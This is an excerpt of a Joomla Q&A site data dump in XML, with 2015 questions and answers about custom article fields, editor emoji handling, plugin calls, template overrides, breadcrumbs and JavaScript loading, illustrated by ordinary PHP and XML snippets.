  <row Id="13975" PostTypeId="1" AcceptedAnswerId="13976" CreationDate="2015-10-19T09:45:21.500" Score="0" ViewCount="139" Body="&lt;p&gt;I'm looking to add a new publishing option inside my articles, so if I want to associate an SVG with the article we can add specific code if a parameter is yes or exclude if the same parameter is no.&lt;/p&gt;&#xA;" OwnerUserId="5399" LastEditorUserId="126" LastEditDate="2015-10-19T17:32:03.090" LastActivityDate="2015-10-19T17:32:03.090" Title="Is there any way to create new publishing options for articles?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13976" PostTypeId="2" ParentId="13975" CreationDate="2015-10-19T10:12:12.593" Score="1" Body="&lt;p&gt;I think you need to perform two actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you should add a new extra field for your articles. I recommend to use this extension&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/aixeena-cck&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/aixeena-cck&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to create new fields for articles using Joomla plugins, so the solutions is really clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have added a field to indicate the svg file you have to override the com_content article view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is plenty information on the internet about how to do that, like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager/es#Creating_Overrides&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager/es#Creating_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps you.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-10-19T10:12:12.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13977" PostTypeId="2" ParentId="13975" CreationDate="2015-10-19T13:29:39.220" Score="0" Body="&lt;p&gt;You can try Zoo component from yootheme.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This component have any possibilities to create custom fields. &#xA;You can customize this fields in front-end with various div class. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its great possibilitie custization In front-end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this help. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-10-19T13:29:39.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13980" PostTypeId="2" ParentId="13969" CreationDate="2015-10-19T19:41:12.643" Score="2" Body="&lt;p&gt;I'm not sure if I'm understanding the question or not, but here's an example of code that I routinely use from the CLI using the model for saving/creating articles in &lt;code&gt;#__content&lt;/code&gt;, hopefully it will help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$basePath = JPATH_ADMINISTRATOR.'/components/com_content';&#xA;$model = new ContentModelArticle(array('table_path' =&amp;gt; $basePath . '/tables'));&#xA;$article_id=0;    // 0 will add new article&#xA;$data = array(&#xA;    'id'    =&amp;gt; $article_id,&#xA;    'catid' =&amp;gt; $myCatId,&#xA;    'title' =&amp;gt; 'My title',&#xA;    'alias' =&amp;gt; 'My alias',&#xA;    .&#xA;    .  // other fields&#xA;    .&#xA;);&#xA;if(!$model-&amp;gt;save($data)){&#xA;    return false;   // Save failed&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-10-19T19:41:12.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13982" PostTypeId="1" CreationDate="2015-10-19T21:22:59.757" Score="1" ViewCount="788" Body="&lt;p&gt;Whenever I embed a tweet with an emoji into a k2 field and save, everything after the first emoji is deleted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way I can make TinyMCE recognize emoji? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a picture of before/after saving:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AXwx6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/AXwx6.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7127" LastEditorUserId="7127" LastEditDate="2015-10-19T21:32:19.823" LastActivityDate="2016-01-19T11:43:07.493" Title="TinyMCE is deleting emoji and everything after" Tags="|k2|editor|tinymce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13985" PostTypeId="1" CreationDate="2015-10-20T09:24:20.663" Score="0" ViewCount="111" Body="&lt;p&gt;Maybe it is something simple. Is there any way to force users to upload images only with a given ratio - e.g. 16:9? (Joomla 3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;" OwnerUserId="7011" LastEditorUserId="126" LastEditDate="2015-10-22T20:20:43.327" LastActivityDate="2015-10-22T20:20:43.327" Title="Force users to upload images with a given ratio" Tags="|joomla-3.x|images|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13986" PostTypeId="2" ParentId="13985" CreationDate="2015-10-20T13:21:12.677" Score="2" Body="&lt;p&gt;You can maybe &quot;cosider&quot; some users dont have the image In this ratio. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use JCE editor with plugin image manager extended to possibility user crop his image in this ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/component/zoo/item/image-manager-extended-4&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/component/zoo/item/image-manager-extended-4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-10-20T13:21:12.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13987" PostTypeId="2" ParentId="13982" CreationDate="2015-10-20T13:26:54.013" Score="0" Body="&lt;p&gt;In TinyMCE, some characters or HTML entities are removed for security reasons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try JCE and enable options to accept HTML entities, PHP, CSS, Javascript, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can select these options as and when you need them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/joomla-3&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/downloads/editor/joomla-3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="168" LastEditDate="2015-10-20T14:30:21.883" LastActivityDate="2015-10-20T14:30:21.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13989" PostTypeId="1" CreationDate="2015-10-20T16:36:48.563" Score="2" ViewCount="213" Body="&lt;p&gt;I am a beginner with  PHP and Joomla Core development. This great extension helps me a lot during my learning.&#xA;A very frequent situation when I try to understand some code is, there is a method of a class being invoked in a line and I want to look into the definition of the class but have no idea where it is. Before j!dump, I had to download the extension in question and in-text search the class, which takes a lot of time. I believe this simple goal can be achieved by using j!dump, but I don't know how. It is like follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$messages = modPimediaplayerHelper::getStudy($params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line is found in a module's PHP file, I'd like to know where this &lt;code&gt;modPimediaplayerHelper&lt;/code&gt; is defined, I tried &lt;code&gt;dump(modPimediaplayerHelper)&lt;/code&gt; and &lt;code&gt;dump(modPimediaplayerHelper::getStudy)&lt;/code&gt;, both of them don't work, so what should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, when I try to &lt;code&gt;dump($params)&lt;/code&gt;, it returns a object without meaningful properties but only methods, which provokes me to look into how this $params object is defined also, how do I use J!dump to track it?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="9471" LastEditDate="2018-05-19T08:12:27.860" LastActivityDate="2018-05-19T08:12:27.860" Title="j!dump: How do I track where a class is defined?" Tags="|php|extensions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13990" PostTypeId="1" CreationDate="2015-10-20T16:46:53.763" Score="0" ViewCount="105" Body="&lt;p&gt;I would like to be able to override files in the ROOT/Administrator/components folder.&lt;br&gt;&#xA;How is it possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this pdf file, but with no basic link to anything: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wedal.ru/download/JoomlaOverridePluginDocumentation.pdf&quot; rel=&quot;nofollow&quot;&gt;link to override plugin pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find the right plugin to install. &#xA;Can anyone help me please?&lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="126" LastEditDate="2015-11-20T18:33:01.230" LastActivityDate="2015-11-21T09:53:01.817" Title="Override files in administrator folder" Tags="|overrides|" AnswerCount="1" CommentCount="1" ClosedDate="2015-11-27T03:39:37.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="13991" PostTypeId="1" AcceptedAnswerId="13992" CreationDate="2015-10-20T17:12:53.833" Score="2" ViewCount="370" Body="&lt;p&gt;Alright so we have a client who has a site that he'd like to be able to turn into a Joomla site so that he can make changes to his products. Only problem is, the site is php. Is it possible to convert this site into a joomla site and if so, what is the process in doing that? Or is there any sources I could look at?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've converted html sites before but the way this site was built makes it a little confusing for me, especially with all of the 'includes' implemented in here. Some help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; www.freedomcreativesolutions.com/lighthouse&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; Unsure if php site can be converted into a joomla site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for the front page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php include('inc/default.php'); &#xA;&#xA;$pageDisc = &quot;Welcome to Lighthouse Solar Solutions &amp;amp; Generators&quot;;   &#xA;$pageKeys = &quot;Lighthouse solar, lighthouse, solar power, solar panel, solar solutions, generators&quot;;&#xA;$pageTitle = &quot;Lighthouse Solar | Home&quot;;&#xA;$slideshow = &quot;on&quot;;&#xA;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;?php include('inc/head.php'); ?&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;?php include('inc/header.php'); ?&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;&#xA;  if($slideshow == &quot;on&quot;)    { &#xA;&#xA;      include('inc/slideshow.php');&#xA;&#xA;    }  else {&#xA;&#xA;        include('inc/headbar.php');&#xA;&#xA;        }&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;section id=&quot;main&quot;&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php include('inc/triple.php'); ?&amp;gt;&#xA;&#xA;    &amp;lt;!--&amp;lt;div id=&quot;fullContent&quot;&amp;gt;--&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;content&quot; class=&quot;col8&quot; style=&quot;padding-right:75px;&quot;&amp;gt;&#xA;&#xA;            &amp;lt;h3&amp;gt;WHO WE ARE &amp;amp;amp; WHAT WE DO.&amp;lt;/h3&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;p&amp;gt;Lighthouse offers innovative solar power and standby generator solutions for Piedmont Triad and across North Carolina. We are committed to helping businesses and families find permanent, energy-saving solar solutions that will not only save them money, but also give they a piece of mind about their power availability.  With the rising cost of energy and growing importance of sustainable living, making the decision to switch to solar is easier than ever.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo $baseUrl; ?&amp;gt;img/nc_solar.png&quot; style=&quot;float:right; padding-left:4%; width:30%;&quot;&amp;gt;&#xA;&#xA;            As the fastest growing solar power company in Winston-Salem, Lighthouse Solar Solutions provides unmatched service and top-quality solar and standby generator systems. Our professional installation team will get you set up with your solar PV, solar pool heating, solar hot water, and backup power system in no time. With our dedication to quality service, competitive installation pricing and financing options, you’re sure to get the greatest value for your investment.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;            Our goal at Lighthouse Solar is to provide clean, renewable solar energy at an affordable price.&#xA;&#xA;            &amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;            &amp;lt;h4&amp;gt;Why Go Solar?&amp;lt;/h4&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;&#xA;            Lighthouse Solar Solutions energy specialists will explain the many advantages of solar power and help you find smart solar solutions that can significantly reduce or eliminate your energy bill without having to change the way you live. You will have peace of mind knowing that you have energy independence and stable, predictable utility costs that last a lifetime. In addition to the great savings you’ll experience by switching to solar, our planet will benefit from cleaner air and increased renewable energy sources.&#xA;&#xA;            &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;rightSide&quot; class=&quot;col4 last&quot;&amp;gt;&#xA;&#xA;            &amp;lt;h3&amp;gt;REFER A FRIEND&amp;lt;/h3&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;p&amp;gt;Make the world even greener and get paid!  Now, if you refer a friend who makes a qualified purchase. We will send you a $250 gift card!&amp;lt;br&amp;gt;&#xA;            &amp;lt;a class=&quot;greenButton&quot;&amp;gt;CONTACT US FOR DETAILS&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;            &amp;lt;hr&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;h3&amp;gt;CONTACT US&amp;lt;/h3&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;            &amp;lt;strong&amp;gt;Lighthouse Solar Solutions &amp;lt;br&amp;gt;&amp;amp;amp; Standby Generators&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;            P.O. Box 11942&amp;lt;br&amp;gt;&#xA;            Winston-Salem, NC 27116&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;strong&amp;gt;Phone: &amp;lt;/strong&amp;gt;336-407-8121&amp;lt;br&amp;gt;&#xA;            &amp;lt;strong&amp;gt;Email: &amp;lt;/strong&amp;gt;Alighthouse@surry.net&amp;lt;br&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;br&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;   &amp;lt;!-- &amp;lt;/div&amp;gt;--&amp;gt;&#xA;&#xA;&#xA;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--wrapper--&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/section&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;?php include('inc/footer.php'); ?&amp;gt;&#xA;&#xA;&amp;lt;?php include('inc/scripts.php'); ?&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4131" LastActivityDate="2015-10-20T17:52:01.320" Title="Converting PHP site to Joomla. Is it possible?" Tags="|php|" AnswerCount="1" CommentCount="0" ClosedDate="2015-10-20T18:01:22.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="13992" PostTypeId="2" ParentId="13991" CreationDate="2015-10-20T17:52:01.320" Score="5" Body="&lt;p&gt;Joomla is based on PHP, so not only is it possible, it's easy. However, it's impossible to answer your question because it depends on how the old site is written. Typically, if it's just a brochure site with a set of static pages (which it seems to be), you can just create Joomla articles to show these content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you'll need is a Joomla template that looks similar to the old site, and there are countless out there. The individual &quot;blocks&quot; on the link you gave are the equivalent of modules in Joomla. You can create custom HTML modules and simply paste the content of each block into them.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2015-10-20T17:52:01.320" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13993" PostTypeId="1" AcceptedAnswerId="13995" CreationDate="2015-10-20T18:36:07.073" Score="3" ViewCount="1672" Body="&lt;p&gt;Currently developing a module and a plugin (content) for a project that have some similar code in them (read: code for accessing APIs, organizing data, etc). Any environments that they're installed on will have both installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that in mind, is there any way to call functions from the plugin's code via the module? Would like to shift as much of the codebase as possible to the plugin and just do calls from the module.&lt;/p&gt;&#xA;" OwnerUserId="7099" LastActivityDate="2017-08-02T16:46:00.190" Title="Calling plugin code from module" Tags="|module|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13994" PostTypeId="1" AcceptedAnswerId="14017" CreationDate="2015-10-20T18:39:02.730" Score="2" ViewCount="989" Body="&lt;p&gt;So I 'm trying to override the articles.xml in my administrator folder. I figured out that I could create my own plugin and redirect it to another folder.&lt;br /&gt;&#xA;So here is what I did:&lt;/p&gt;&#xA;&lt;h3&gt;Creating a custom plugin.php&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;jimport('joomla.plugin.plugin');&#xA;&#xA;class plgSystemmyPlugin extends JPlugin{&#xA;   &#xA;function onContentPrepareForm($form, $data) {&#xA;        jimport('joomla.form.form');&#xA;   JForm::addFormPath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_content/models/forms');&#xA;JForm::addFormPath(JPATH_ADMINISTRATOR.'/templates/isis/html/com_content/article');&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;and creating a xml file:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension version=&amp;quot;3.1&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;system&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Custom Plugin&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;Joomla! Project&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;November 2005&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2005 - 2013 Open Source Matters. All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 2 or later; see LICENSE.txt&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;admin@joomla.org&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;www.joomla.org&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;3.1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;PLG_SEARCH_CATEGORIES_XML_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;customplugin&amp;quot;&amp;gt;customplugin.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried to install it, but it doesn't work. I have already my xml file in my administrator/templates/isis/html/com_content/article.xml&lt;/p&gt;&#xA;&lt;p&gt;Can anyone please help me fix this? I don't know how to get it to work, so it reads my custom article.xml instead of the original one.&lt;/p&gt;&#xA;&lt;p&gt;I have been looking in this thread, but I dont know how to get it to work, I think im doing something wrong.&#xA;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=583380#p2455478&quot; rel=&quot;nofollow noreferrer&quot;&gt;enter link description here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-10-21T23:59:59.530" Title="Overriding a .xml file in administrator" Tags="|overrides|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13995" PostTypeId="2" ParentId="13993" CreationDate="2015-10-20T18:49:04.900" Score="3" Body="&lt;p&gt;You firstly need to load your plugin group like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin('group', 'plugin_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You then need to call the JEventDispatcher class/instance like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher = JEventDispatcher::getInstance();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, to trigger events:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$results = $dispatcher-&amp;gt;trigger('onMyFunction', array(&amp;amp;$var1, &amp;amp;$var2));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will called the &lt;code&gt;onMyFunction&lt;/code&gt; in your plugin and pass &lt;code&gt;$var1&lt;/code&gt; and &lt;code&gt;$var2&lt;/code&gt;. Your plugin can then manipulate these 2 variables (or as many as you like)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-08-02T16:46:00.190" LastActivityDate="2017-08-02T16:46:00.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13996" PostTypeId="1" AcceptedAnswerId="13998" CreationDate="2015-10-20T19:56:57.860" Score="1" ViewCount="71" Body="&lt;p&gt;Is there any byte size limit a Joomla extension package (compressed .zip) file?  Assume we have enough PHP maximum upload limit set.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-10-21T07:26:08.000" Title="Any size limit for a Joomla extension pack?" Tags="|joomla-3.x|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13997" PostTypeId="1" CreationDate="2015-10-20T20:18:48.037" Score="6" ViewCount="2016" Body="&lt;p&gt;Can anyone point me in the correct direction to enable automatic login after the user completes the registration form Joomla 3.4?&#xA;Thanks in advance and blessings,&lt;/p&gt;&#xA;" OwnerUserId="7132" LastActivityDate="2015-10-27T14:29:26.223" Title="Automatic login after they complete the registration form Joomla 3.4" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13998" PostTypeId="2" ParentId="13996" CreationDate="2015-10-20T20:53:47.153" Score="3" Body="&lt;p&gt;Nope, Joomla doesn't set a limit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only have to take into consideration PHP's:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;max upload size&lt;/li&gt;&#xA;&lt;li&gt;max post size&lt;/li&gt;&#xA;&lt;li&gt;max execution time&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-10-21T07:26:08.000" LastActivityDate="2015-10-21T07:26:08.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13999" PostTypeId="1" CreationDate="2015-10-20T21:50:29.433" Score="2" ViewCount="150" Body="&lt;p&gt;I have 3 different views where the user will navigate from one view to another in a sequence way.  Assume the v1 list all student classes and v2 list the details of a single class and v3 list the details of a single subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ceOSf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ceOSf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;V1 is the only view linked to the menu item 'Classes' and the item id is 107.  I am trying to manually add the breadcrumbs when the user navigate to other views with the same item id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;v2 -&gt; view.html.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pathway = $this-&amp;gt;_app-&amp;gt;getPathway();&#xA;$pathway-&amp;gt;addItem(&quot;Single Class&quot;, &quot;index.php?option=com_example&amp;amp;view=v2&amp;amp;classid=1&amp;amp;Itemid=107&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;v3 -&gt; view.html.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pathway = $this-&amp;gt;_app-&amp;gt;getPathway();&#xA;$pathway-&amp;gt;addItem(&quot;Single Subject&quot;, &quot;index.php?option=com_example&amp;amp;view=v3&amp;amp;subid=1&amp;amp;Itemid=107&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the user is in v2 the breadcrumbs is as 'Home-&gt;Classes-&gt;Single Class' which is correct.  When the user naviage to v3 then the breadcrumbs becomes as 'Home-&gt;Classes-&gt;Single Subject' which is wrong.  What I need as 'Home-&gt;classes-&gt;Single Class-&gt;Single Subject'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone advice on this?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-02-22T21:20:05.597" Title="How to use same menu Itemid for different views with breadcrumbs" Tags="|joomla-3.x|menu-item|breadcumb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14000" PostTypeId="1" CreationDate="2015-10-21T01:12:37.343" Score="2" ViewCount="529" Body="&lt;p&gt;I'm trying to get slick carousel to work on my Joomla 3.4. I did this on a test page without having Joomla and it worked fine!&#xA;I tried everything! the problem seems like the script is loading before the dom or before a certain thing appears. So the slick.js is not getting excuted. Also, there's nothing wrong with the html or slick code already tested on another site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;chrome console show &lt;code&gt;Cannot read property 'slick' of null&lt;/code&gt;&#xA;The JavaScript is very simple it's called slickme.js and uses slick.min.js&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $('.slidequiz').slick({&#xA;       dots: false,&#xA;    accessibility: false,&#xA;    infinite: false,&#xA;    draggable:false,&#xA;    speed: 500,&#xA;    mobileFirst: true,&#xA;&#xA;    slidesToShow: 1,&#xA;    slidesToScroll: 1&#xA;  });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thing I already tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;using &lt;code&gt;$(window).load(function(){...});&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;using  &lt;code&gt;$(window).bind(&quot;load&quot;, function() {....});&lt;/code&gt; Or &lt;code&gt;$( document ).ready(function() {...});&lt;/code&gt; chrome console throws an error &lt;code&gt;$(...).ready is not a function&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;using &lt;code&gt;$(function() {..}&lt;/code&gt; nothing seems to happen and no console errors but the slick carousel didn't work and the dom didn't get modified by the js.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tried changing the script to inline script inside the article&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tried changing the place of the script loading to the head and then body. I'm using a template and did that through the template section it lets me add custom scripts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Currently the JS Script is in a separate file called slickme.js that loads with the slick.min.js library at the end of the body tag. &lt;a href=&quot;http://fitnesstime-lb.org/features/fitness-quiz-registration&quot; rel=&quot;nofollow&quot;&gt;My Joomla website&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is really appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3721" LastEditorUserId="3721" LastEditDate="2015-11-05T19:33:53.933" LastActivityDate="2015-11-05T19:33:53.933" Title="JavaScript file not loading before dom" Tags="|joomla-3.x|javascript|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
